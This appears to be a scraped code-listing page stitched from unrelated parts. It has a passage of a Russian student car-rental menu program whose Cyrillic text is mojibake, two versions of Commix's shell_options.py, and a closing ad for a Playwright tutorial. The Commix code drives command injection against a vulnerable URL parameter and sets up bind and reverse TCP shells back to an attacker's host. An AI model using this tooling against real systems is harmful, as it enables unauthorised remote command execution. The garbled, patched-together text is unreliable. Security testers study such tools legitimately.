оÑиÑе добавиÑÑ ÑлеменÑ:")297    print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))298    print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))299    print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))300    print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))301    print("\t\t %s 5. ÐвÑомобили" % (cur[4]))302    print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))303    print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))304def show_delete_list_menu(cur):305    os.system("clear")306    print("\n\n\t\tРкакÑÑ ÑаблиÑÑ ÐÑ Ñ
оÑиÑе добавиÑÑ ÑлеменÑ:")307    print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))308    print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))309    print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))310    print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))311    print("\t\t %s 5. ÐвÑомобили" % (cur[4]))312    print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))313    print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))314def show_request_hrd_list_menu(cur):315    os.system("clear")316    print("\n\n\t\tÐÑбеÑиÑе Ñежим:")317    print("\t\t %s ÐапÑÐ¾Ñ \"ÐÑдел кадÑов\"" % (cur[0]))318    print("\t\t %s ФилÑÑÑ Ð´Ð»Ñ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ ÑоÑÑÑдников оÑделÑнÑÑ
 должноÑÑей" % (cur[1]))319def show_request_autopark_list_menu(cur):320    os.system("clear")321    print("\n\n\t\tÐÑбеÑиÑе Ñежим:")322    print("\t\t %s ÐапÑÐ¾Ñ \"ÐвÑопаÑк\"" % (cur[0]))323    print("\t\t %s ФилÑÑÑ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð°Ð²Ñомобилей оÑделÑнÑÑ
 маÑок" % (cur[1]))324    print("\t\t %s ФилÑÑÑ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð°Ð²Ñомобилей, наÑ
одÑÑиÑ
ÑÑ Ð¸ не наÑ
одÑÑиÑ
ÑÑ Ð² пÑокаÑе" % (cur[2]))325    print("\t\t %s ФилÑÑÑ Ð´Ð»Ñ Ð¾ÑобÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð°Ð²Ñомобилей вÑданнÑÑ
 и возвÑаÑÑннÑÑ
 в опÑеделÑннÑÑ Ð´Ð°ÑÑ" % (cur[3]))326    print("\t\t %s ФилÑÑÑ Ð¾Ð¿Ð»Ð°ÑеннÑÑ
 и не оплаÑеннÑÑ
 авÑомобилей в пÑокаÑе" % (cur[4]))327def show_info():328    os.system("clear")329    print("\n\n\t\tСпÑавка:\n")330    print("\t\tÐÐ»Ñ ÑпÑÐ°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼ÐµÐ½Ñ Ð¸ÑполÑзÑÑÑÑÑ ÐºÐ»Ð°Ð²Ð¸Ð°ÑÑÑнÑе ÑÑÑелки")331    print("\t\tлибо vi-подобнÑе клавиÑи ÑпÑавлениÑ:")332    print("\t\t^ или k -- пеÑемеÑение ввеÑÑ
")333    print("\t\tv или j -- пеÑемеÑение вниз")334    print("\t\t< или h или Esc -- пеÑемеÑение назад по менÑ")335    print("\t\t> или l или Enter -- вÑÐ±Ð¾Ñ Ð¿ÑнкÑа менÑ\n")336    print("\t\tÐÑполнил кÑÑÑовой пÑоекÑ: блаблабла\n") # TODO: поÑÑÐ°Ð²Ñ ÑÑда Ñвое имÑ337    print("\t\tÐажмиÑе < или h или Esc, ÑÑÐ¾Ð±Ñ Ð²ÑйÑи в главное менÑ.")338def go_back():339    while True:340        os.system("stty raw -echo")341        c = sys.stdin.read(1)342        os.system("stty -raw echo")343        if c == 'h':...shell_options.py
Source:shell_options.py  
1#!/usr/bin/env python2# encoding: UTF-83"""4This file is part of Commix Project (https://commixproject.com).5Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).6This program is free software: you can redistribute it and/or modify7it under the terms of the GNU General Public License as published by8the Free Software Foundation, either version 3 of the License, or9(at your option) any later version.10 11For more see the file 'readme/COPYING' for copying permission.12"""13import re14import os15import sys16import time17from src.utils import logs18from src.utils import menu19from src.utils import settings20from src.core.shells import bind_tcp21from src.core.shells import reverse_tcp22from src.core.injections.controller import checks23from src.thirdparty.six.moves import urllib as _urllib24from src.thirdparty.colorama import Fore, Back, Style, init25from src.core.injections.results_based.techniques.classic import cb_injector26from src.core.injections.results_based.techniques.eval_based import eb_injector27from src.core.injections.semiblind.techniques.file_based import fb_injector28"""29Check for established connection30"""31def check_established_connection():32  while True:33    time.sleep(1)34    if settings.VERBOSITY_LEVEL == 1:35      print(settings.SINGLE_WHITESPACE)36    warn_msg = "Something went wrong with the reverse TCP connection."37    warn_msg += " Please wait while checking state."38    print(settings.print_warning_msg(warn_msg))39    lines = os.popen('netstat -anta').read().split("\n")40    for line in lines:41      if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line:42        pass43      else:44        return 45"""46Execute the bind / reverse TCP shell47"""48def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE):49  if settings.EVAL_BASED_STATE != False:50    # Command execution results.51    start = time.time()52    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)53    end = time.time()54    diff = end - start55    # Evaluate injection results.56    shell = eb_injector.injection_results(response, TAG, cmd)57  else:58    # Command execution results.59    start = time.time()60    if settings.FILE_BASED_STATE == True:61      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)62    else:63      whitespace = settings.WHITESPACES[0]64      if whitespace == " ":65        whitespace = _urllib.parse.quote(whitespace) 66      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)67    end = time.time()68    diff = end - start69    # Evaluate injection results.70    shell = cb_injector.injection_results(response, TAG, cmd)71  if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6):72    check_established_connection()73  else:74    if settings.VERBOSITY_LEVEL == 1:75      print(settings.SINGLE_WHITESPACE)76  err_msg = "The " + os_shell_option.split("_")[0] + " "77  err_msg += os_shell_option.split("_")[1].upper() + " connection has failed."78  print(settings.print_critical_msg(err_msg))79"""80Configure the bind TCP shell81"""82def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):83  settings.BIND_TCP = True84  # Set up RHOST / LPORT for the bind TCP connection.85  bind_tcp.configure_bind_tcp(separator)86  if settings.BIND_TCP == False:87    if settings.REVERSE_TCP == True:88      os_shell_option = "reverse_tcp"89      reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)90    return go_back, go_back_again91  while True:92    if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:93      result = checks.check_bind_tcp_options(settings.RHOST)94    else:  95      cmd = bind_tcp.bind_tcp_options(separator)96      result = checks.check_bind_tcp_options(cmd)97    if result != None:98      if result == 0:99        go_back_again = False100      elif result == 1 or result == 2:101        go_back_again = True102        settings.BIND_TCP = False103      elif result == 3:104        settings.BIND_TCP = False105        reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)  106      return go_back, go_back_again107    # execute bind TCP shell 108    execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)109"""110Configure the reverse TCP shell111"""112def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):113  settings.REVERSE_TCP = True114  # Set up LHOST / LPORT for the reverse TCP connection.115  reverse_tcp.configure_reverse_tcp(separator)116  if settings.REVERSE_TCP == False:117    if settings.BIND_TCP == True:118      os_shell_option = "bind_tcp"119      bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)120    return go_back, go_back_again121  while True:122    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:123      result = checks.check_reverse_tcp_options(settings.LHOST)124    else:  125      cmd = reverse_tcp.reverse_tcp_options(separator)126      result = checks.check_reverse_tcp_options(cmd)127    if result != None:128      if result == 0:129        go_back_again = False130      elif result == 1 or result == 2:131        go_back_again = True132        settings.REVERSE_TCP = False133      elif result == 3:134        settings.REVERSE_TCP = False135        bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)136        #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again)  137      return go_back, go_back_again138    # execute reverse TCP shell  139    execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)140"""141Check commix shell options142"""143def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE):144  os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 145  if os_shell_option == "back" or os_shell_option == True or os_shell_option == False:146    go_back = True147    if os_shell_option == False:148      go_back_again = True149    return go_back, go_back_again150  # The "os_shell" option151  elif os_shell_option == "os_shell": 152    warn_msg = "You are already into the '" + os_shell_option + "' mode."153    print(settings.print_warning_msg(warn_msg))154    return go_back, go_back_again155  # The "bind_tcp" option156  elif os_shell_option == "bind_tcp":157    go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)158    return go_back, go_back_again159  # The "reverse_tcp" option160  elif os_shell_option == "reverse_tcp":161    go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)162    return go_back, go_back_again163  # The "quit" option164  elif os_shell_option == "quit": 165    logs.print_logs_notification(filename, url)                  166    raise SystemExit()167  else:...12425_shell_options.py
Source:12425_shell_options.py  
1#!/usr/bin/env python2# encoding: UTF-83"""4This file is part of Commix Project (http://commixproject.com).5Copyright (c) 2014-2017 Anastasios Stasinopoulos (@ancst).6This program is free software: you can redistribute it and/or modify7it under the terms of the GNU General Public License as published by8the Free Software Foundation, either version 3 of the License, or9(at your option) any later version.10 11For more see the file 'readme/COPYING' for copying permission.12"""13import re14import os15import sys16import time17import urllib18import urlparse19from src.utils import menu20from src.utils import settings21from src.core.injections.controller import checks22from src.thirdparty.colorama import Fore, Back, Style, init23from src.core.shells import bind_tcp24from src.core.shells import reverse_tcp25from src.core.injections.results_based.techniques.classic import cb_injector26from src.core.injections.results_based.techniques.eval_based import eb_injector27from src.core.injections.semiblind.techniques.file_based import fb_injector28"""29Check for established connection30"""31def check_established_connection():32  while True:33    if settings.VERBOSITY_LEVEL == 1:34      print ""35    warn_msg = "Something went wrong with the reverse TCP connection."36    warn_msg += " Please wait while checking state."37    print settings.print_warning_msg(warn_msg)38    time.sleep(10)39    lines = os.popen('netstat -anta').read().split("\n")40    found = False41    for line in lines:42      if "ESTABLISHED" in line and settings.LPORT in line.split():43        found = True44        pass45    if not found:46      return 47"""48Execute the bind / reverse TCP shell49"""50def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE):51  if settings.EVAL_BASED_STATE != False:52    # Command execution results.53    start = time.time()54    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)55    end = time.time()56    diff = end - start57    # Evaluate injection results.58    shell = eb_injector.injection_results(response, TAG, cmd)59  else:60    # Command execution results.61    start = time.time()62    if settings.FILE_BASED_STATE == True:63      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)64    else:65      whitespace = settings.WHITESPACE[0]66      if whitespace == " ":67        whitespace = urllib.quote(whitespace) 68      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)69    end = time.time()70    diff = end - start71    # Evaluate injection results.72    shell = cb_injector.injection_results(response, TAG, cmd)73  if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6):74    check_established_connection()75  else:76    if settings.VERBOSITY_LEVEL == 1:77      print ""78  err_msg = "The " + os_shell_option.split("_")[0] + " "79  err_msg += os_shell_option.split("_")[1].upper() + " connection has failed!"80  print settings.print_critical_msg(err_msg)81"""82Configure the bind TCP shell83"""84def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):85  settings.BIND_TCP = True86  # Set up RHOST / LPORT for the bind TCP connection.87  bind_tcp.configure_bind_tcp()88  if settings.BIND_TCP == False:89    if settings.REVERSE_TCP == True:90      os_shell_option = "reverse_tcp"91      reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)92    return go_back, go_back_again93  while True:94    if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:95      result = checks.check_bind_tcp_options(settings.RHOST)96    else:  97      cmd = bind_tcp.bind_tcp_options()98      result = checks.check_bind_tcp_options(cmd)99    if result != None:100      if result == 0:101        go_back_again = False102      elif result == 1 or result == 2:103        go_back_again = True104        settings.BIND_TCP = False105      elif result == 3:106        settings.BIND_TCP = False107        reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)  108      return go_back, go_back_again109    # execute bind TCP shell 110    execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)111"""112Configure the reverse TCP shell113"""114def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):115  settings.REVERSE_TCP = True116  # Set up LHOST / LPORT for the reverse TCP connection.117  reverse_tcp.configure_reverse_tcp()118  if settings.REVERSE_TCP == False:119    if settings.BIND_TCP == True:120      os_shell_option = "bind_tcp"121      bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)122    return go_back, go_back_again123  while True:124    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:125      result = checks.check_reverse_tcp_options(settings.LHOST)126    else:  127      cmd = reverse_tcp.reverse_tcp_options()128      result = checks.check_reverse_tcp_options(cmd)129    if result != None:130      if result == 0:131        go_back_again = False132      elif result == 1 or result == 2:133        go_back_again = True134        settings.REVERSE_TCP = False135      elif result == 3:136        settings.REVERSE_TCP = False137        bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)138        #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again)  139      return go_back, go_back_again140    # execute reverse TCP shell  141    execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)142"""143Check commix shell options144"""145def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE):146  os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 147  if os_shell_option == "back" or os_shell_option == True or os_shell_option == False:148    go_back = True149    if os_shell_option == False:150      go_back_again = True151    return go_back, go_back_again152  # The "os_shell" option153  elif os_shell_option == "os_shell": 154    warn_msg = "You are already into the '" + os_shell_option + "' mode."155    print settings.print_warning_msg(warn_msg)156    return go_back, go_back_again157  # The "bind_tcp" option158  elif os_shell_option == "bind_tcp":159    go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)160    return go_back, go_back_again161  # The "reverse_tcp" option162  elif os_shell_option == "reverse_tcp":163    go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)164    return go_back, go_back_again165  # The "quit" option166  elif os_shell_option == "quit":                    167    sys.exit(0)168  else:...LambdaTest’s Playwright tutorial will give you a broader idea about the Playwright automation framework, its unique features, and use cases with examples to exceed your understanding of Playwright testing. This tutorial will give A to Z guidance, from installing the Playwright framework to some best practices and advanced concepts.
Get 100 minutes of automation test minutes FREE!!
